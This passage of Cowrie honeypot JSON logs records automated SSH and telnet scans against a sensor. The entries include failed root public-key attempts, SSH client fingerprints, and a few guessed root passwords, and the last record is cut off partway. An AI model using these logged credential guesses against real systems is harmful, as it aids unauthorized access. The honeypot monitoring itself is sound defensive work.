{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:51.300622Z","src_ip":"45.142.3.73","session":"701c708903fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:ee:3c:7c:45:34:88:27:74:f1:9a:d3:9d:9e:8a:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyEpkbFG3897KORMuyPekbtcz1pmBzT6/4d8g4AwNL8bG3tCqQLxaiIw/qqF9yUgh2MeVQDyiCw/9k+415nUuY0ECBq6nzuf2nl8h9gjkmv2TP86dAodoDjylmtwExJd2UDleyLvc5yl6zStZE99fmdwWcTFyzls4TNAEZkPPg0QPuQaagpa9/jak2v3ElANsKrSAI2SdklH2b0066miTCEi4tzLr785fiKdXJzIsfw1s0hmiNgswf0OOG/z6D57zXgFGyE1AjAYNuBkIXio+I4f3ccHNRiGMyJSxcYium+J6rYK2W9FOzehDmfZrnJqsYJig40EYNGJ/RZna7+HeN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:ee:3c:7c:45:34:88:27:74:f1:9a:d3:9d:9e:8a:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:51.681427Z","src_ip":"45.142.3.73","session":"701c708903fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:ee:3c:7c:45:34:88:27:74:f1:9a:d3:9d:9e:8a:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyEpkbFG3897KORMuyPekbtcz1pmBzT6/4d8g4AwNL8bG3tCqQLxaiIw/qqF9yUgh2MeVQDyiCw/9k+415nUuY0ECBq6nzuf2nl8h9gjkmv2TP86dAodoDjylmtwExJd2UDleyLvc5yl6zStZE99fmdwWcTFyzls4TNAEZkPPg0QPuQaagpa9/jak2v3ElANsKrSAI2SdklH2b0066miTCEi4tzLr785fiKdXJzIsfw1s0hmiNgswf0OOG/z6D57zXgFGyE1AjAYNuBkIXio+I4f3ccHNRiGMyJSxcYium+J6rYK2W9FOzehDmfZrnJqsYJig40EYNGJ/RZna7+HeN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:51.686588Z","src_ip":"45.142.3.73","session":"701c708903fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:cd:fd:ec:e6:6a:a3:f6:eb:7d:82:66:57:c4:4d:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoPLmExBwPswLalmbcZqw4XmFnHyVc4pgVYCoIjvnit6/zLRhBnHiJzACg5ln4UQ+eG1XIy7viIN6LKI8R3iiFxBmQgRMPRqApxzH31qX882uov9+1GuKP8A6R9MHUYeJCAQ5hjTfwVQWkXQlOnSsnt3iKYmEh3ocs+1xva7B777xLsJuoSVU7bq94AysinyR1AGr+PcbDtAUbMsCiFzijNnm9BnUL27NogbC3lE+mJbVek2LeX8C+H8di3JSQ+OX+R17qpMhEdPi/uTxzwSY2OZ8KC2TSYNI2rQGpHfB/S7QwZLBPnOX+NgkIke+o7fx23eBHy7JMEgq8LnVObrAMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:cd:fd:ec:e6:6a:a3:f6:eb:7d:82:66:57:c4:4d:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:51.768353Z","src_ip":"45.142.3.73","session":"701c708903fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:cd:fd:ec:e6:6a:a3:f6:eb:7d:82:66:57:c4:4d:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoPLmExBwPswLalmbcZqw4XmFnHyVc4pgVYCoIjvnit6/zLRhBnHiJzACg5ln4UQ+eG1XIy7viIN6LKI8R3iiFxBmQgRMPRqApxzH31qX882uov9+1GuKP8A6R9MHUYeJCAQ5hjTfwVQWkXQlOnSsnt3iKYmEh3ocs+1xva7B777xLsJuoSVU7bq94AysinyR1AGr+PcbDtAUbMsCiFzijNnm9BnUL27NogbC3lE+mJbVek2LeX8C+H8di3JSQ+OX+R17qpMhEdPi/uTxzwSY2OZ8KC2TSYNI2rQGpHfB/S7QwZLBPnOX+NgkIke+o7fx23eBHy7JMEgq8LnVObrAMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:51.772463Z","src_ip":"45.142.3.73","session":"701c708903fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:9d:3e:92:c8:80:a4:d2:fa:65:d1:29:a8:ae:f2:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzd1LEIsUwyHi+nrRl1ZWmn0QH0QXK8LbSKcep46RCKl4YtTugjnAO6WociSkAGITLr146apkhHEpQQiGftbOgA3BVkZ+zF4410tnJE0knEOKMaVCYmCQ6yBYALb17ZOULQbduRVGBuV8ZzQqrEbuP4jZiW1DMdvr89JiiHkfROF9miEaGpvH7faVNBP79aXBjuAdEcTtkRx+ZfKjvszR9dhPrXPaEROm453uVdu1vJex4aC2ZXORyY8pboNkZq+kh1JLuWsr5MbqE6mmiBOQpflEJ/AhppmMSCNqfdsWWpjxbntUUguXeW9f37VMrQAqTxeKNTKQ1SCTcYeShdEIvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:9d:3e:92:c8:80:a4:d2:fa:65:d1:29:a8:ae:f2:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:51.854587Z","src_ip":"45.142.3.73","session":"701c708903fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:9d:3e:92:c8:80:a4:d2:fa:65:d1:29:a8:ae:f2:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzd1LEIsUwyHi+nrRl1ZWmn0QH0QXK8LbSKcep46RCKl4YtTugjnAO6WociSkAGITLr146apkhHEpQQiGftbOgA3BVkZ+zF4410tnJE0knEOKMaVCYmCQ6yBYALb17ZOULQbduRVGBuV8ZzQqrEbuP4jZiW1DMdvr89JiiHkfROF9miEaGpvH7faVNBP79aXBjuAdEcTtkRx+ZfKjvszR9dhPrXPaEROm453uVdu1vJex4aC2ZXORyY8pboNkZq+kh1JLuWsr5MbqE6mmiBOQpflEJ/AhppmMSCNqfdsWWpjxbntUUguXeW9f37VMrQAqTxeKNTKQ1SCTcYeShdEIvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:51.858916Z","src_ip":"45.142.3.73","session":"701c708903fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:9b:60:5e:5d:b9:ca:fa:1a:9a:fa:05:4f:64:4c:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnYEAh+p3iZ4svU/uTysJc1U99jquHHJuG4K8MgW1pTxWOmpHJ3e2gGuPaQozCYQJl4xdWKkMI8r35s671QPhrECBYLbSf22Uhhhk1cLdoszQZj9RMPpP4RrDceAl77S/Ny+KjxWKAcMuDidYlP/TI3f/SNSGj8z0ZpAdtNm4tqrC0Cb3ApJOw4L6ExeJMFiw8Z5pT3uNKS5iD6UO8m1QVPt1X4cOcG+ZKTew92tU/WzmAnb26PdZXSiIX8kjlpjhaX2KmeV9lmfcuEtoxVBSzqbfG6Z57tMrzG5Hr472Z8ItR/FmuEgEvBHT2JeFy7dp9kjxpbgxq0N0vBujUwI5l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:9b:60:5e:5d:b9:ca:fa:1a:9a:fa:05:4f:64:4c:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:51.945105Z","src_ip":"45.142.3.73","session":"701c708903fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:9b:60:5e:5d:b9:ca:fa:1a:9a:fa:05:4f:64:4c:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnYEAh+p3iZ4svU/uTysJc1U99jquHHJuG4K8MgW1pTxWOmpHJ3e2gGuPaQozCYQJl4xdWKkMI8r35s671QPhrECBYLbSf22Uhhhk1cLdoszQZj9RMPpP4RrDceAl77S/Ny+KjxWKAcMuDidYlP/TI3f/SNSGj8z0ZpAdtNm4tqrC0Cb3ApJOw4L6ExeJMFiw8Z5pT3uNKS5iD6UO8m1QVPt1X4cOcG+ZKTew92tU/WzmAnb26PdZXSiIX8kjlpjhaX2KmeV9lmfcuEtoxVBSzqbfG6Z57tMrzG5Hr472Z8ItR/FmuEgEvBHT2JeFy7dp9kjxpbgxq0N0vBujUwI5l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:51.949282Z","src_ip":"45.142.3.73","session":"701c708903fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:1c:f9:34:ab:d3:92:f4:70:fc:73:2d:9b:8c:2b:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAEIBYSE64eh9vehXXKFF/l887qmprSyEgSv98JNQs6Rri10skGCSAlvZuTVYQlMQW6f9EOai/shPxBGLontdnMYkpJ4fYwQq746byb8HganZ0v5xrfiOFBOZjmMPq0/m4IyvndoR7I6wFESfjT8DmiJXvT5eZnsTRMCofNDIX7fxNsjNJD2oQufUpJG8JIHPu0SkYLmm65jxRIwZys53yVuPTaXc6Ru1KeAIT7MYhGxQI7zYSnT3oy9vpFF4w2n5P6EzUfl/rdJ64txpIUyUwcf2NCBCnEYaXiGJoWZ2I9MGh5b6u6F0B7p92c76ULa9w7308V1otalS/aOxO9LI9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:1c:f9:34:ab:d3:92:f4:70:fc:73:2d:9b:8c:2b:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:52.031228Z","src_ip":"45.142.3.73","session":"701c708903fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:1c:f9:34:ab:d3:92:f4:70:fc:73:2d:9b:8c:2b:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAEIBYSE64eh9vehXXKFF/l887qmprSyEgSv98JNQs6Rri10skGCSAlvZuTVYQlMQW6f9EOai/shPxBGLontdnMYkpJ4fYwQq746byb8HganZ0v5xrfiOFBOZjmMPq0/m4IyvndoR7I6wFESfjT8DmiJXvT5eZnsTRMCofNDIX7fxNsjNJD2oQufUpJG8JIHPu0SkYLmm65jxRIwZys53yVuPTaXc6Ru1KeAIT7MYhGxQI7zYSnT3oy9vpFF4w2n5P6EzUfl/rdJ64txpIUyUwcf2NCBCnEYaXiGJoWZ2I9MGh5b6u6F0B7p92c76ULa9w7308V1otalS/aOxO9LI9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:52.036026Z","src_ip":"45.142.3.73","session":"701c708903fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:52.118280Z","src_ip":"45.142.3.73","session":"701c708903fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":45362,"dst_ip":"10.17.0.5","dst_port":22,"session":"951b5f10e171","protocol":"ssh","message":"New connection: 193.37.70.224:45362 (10.17.0.5:22) [session: 951b5f10e171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:52.241395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:52.247475Z","src_ip":"193.37.70.224","session":"951b5f10e171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:52.338069Z","src_ip":"193.37.70.224","session":"951b5f10e171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"52525252","message":"login attempt [root/52525252] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:52.608955Z","src_ip":"193.37.70.224","session":"951b5f10e171","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:53.700963Z","src_ip":"193.37.70.224","session":"951b5f10e171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50306,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2e19fa4f4c6","protocol":"telnet","message":"New connection: 135.148.14.151:50306 (159.203.135.109:23) [session: a2e19fa4f4c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:26:08.617307Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52052,"dst_ip":"159.203.135.109","dst_port":23,"session":"ced0de4a8705","protocol":"telnet","message":"New connection: 135.148.14.151:52052 (159.203.135.109:23) [session: ced0de4a8705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:26:12.269009Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51732,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b801a253687","protocol":"telnet","message":"New connection: 135.148.14.151:51732 (159.203.135.109:23) [session: 9b801a253687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:26:13.653034Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33286,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8c697aa72d8","protocol":"telnet","message":"New connection: 135.148.14.151:33286 (159.203.135.109:23) [session: c8c697aa72d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:26:39.369591Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36408,"dst_ip":"159.203.135.109","dst_port":23,"session":"7568c4d3dff0","protocol":"telnet","message":"New connection: 135.148.14.151:36408 (159.203.135.109:23) [session: 7568c4d3dff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:26:40.427319Z"}
{"eventid":"cowrie.session.closed","duration":35.21393942832947,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:26:43.831140Z","src_ip":"135.148.14.151","session":"a2e19fa4f4c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.58571672439575,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:26:46.854603Z","src_ip":"135.148.14.151","session":"ced0de4a8705","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.376009702682495,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:26:47.028944Z","src_ip":"135.148.14.151","session":"9b801a253687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":45662,"dst_ip":"159.203.135.109","dst_port":22,"session":"bad21d244ff4","protocol":"ssh","message":"New connection: 51.250.105.222:45662 (159.203.135.109:22) [session: bad21d244ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:26:49.536960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:26:49.541559Z","src_ip":"51.250.105.222","session":"bad21d244ff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:26:49.675472Z","src_ip":"51.250.105.222","session":"bad21d244ff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:26:50.067290Z","src_ip":"51.250.105.222","session":"bad21d244ff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:26:51.200358Z","src_ip":"51.250.105.222","session":"bad21d244ff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42150,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffdc11b3536c","protocol":"telnet","message":"New connection: 135.148.14.151:42150 (159.203.135.109:23) [session: ffdc11b3536c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:26:52.357131Z"}
{"eventid":"cowrie.session.closed","duration":33.28011703491211,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:27:12.649596Z","src_ip":"135.148.14.151","session":"c8c697aa72d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52330,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f80168ba59a","protocol":"telnet","message":"New connection: 135.148.14.151:52330 (159.203.135.109:23) [session: 4f80168ba59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:27:17.035400Z"}
{"eventid":"cowrie.session.closed","duration":48.10698461532593,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:27:28.534175Z","src_ip":"135.148.14.151","session":"7568c4d3dff0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.57477784156799,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:27:28.931780Z","src_ip":"135.148.14.151","session":"ffdc11b3536c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58770,"dst_ip":"159.203.135.109","dst_port":23,"session":"da38547cc89b","protocol":"telnet","message":"New connection: 135.148.14.151:58770 (159.203.135.109:23) [session: da38547cc89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:27:33.771171Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39964,"dst_ip":"159.203.135.109","dst_port":23,"session":"20b94f5728c6","protocol":"telnet","message":"New connection: 135.148.14.151:39964 (159.203.135.109:23) [session: 20b94f5728c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:27:52.684312Z"}
{"eventid":"cowrie.session.closed","duration":46.91651797294617,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:03.951806Z","src_ip":"135.148.14.151","session":"4f80168ba59a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":54034,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0cba3c17f00","protocol":"ssh","message":"New connection: 89.223.69.22:54034 (10.17.0.5:22) [session: a0cba3c17f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:06.121324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:06.125964Z","src_ip":"89.223.69.22","session":"a0cba3c17f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-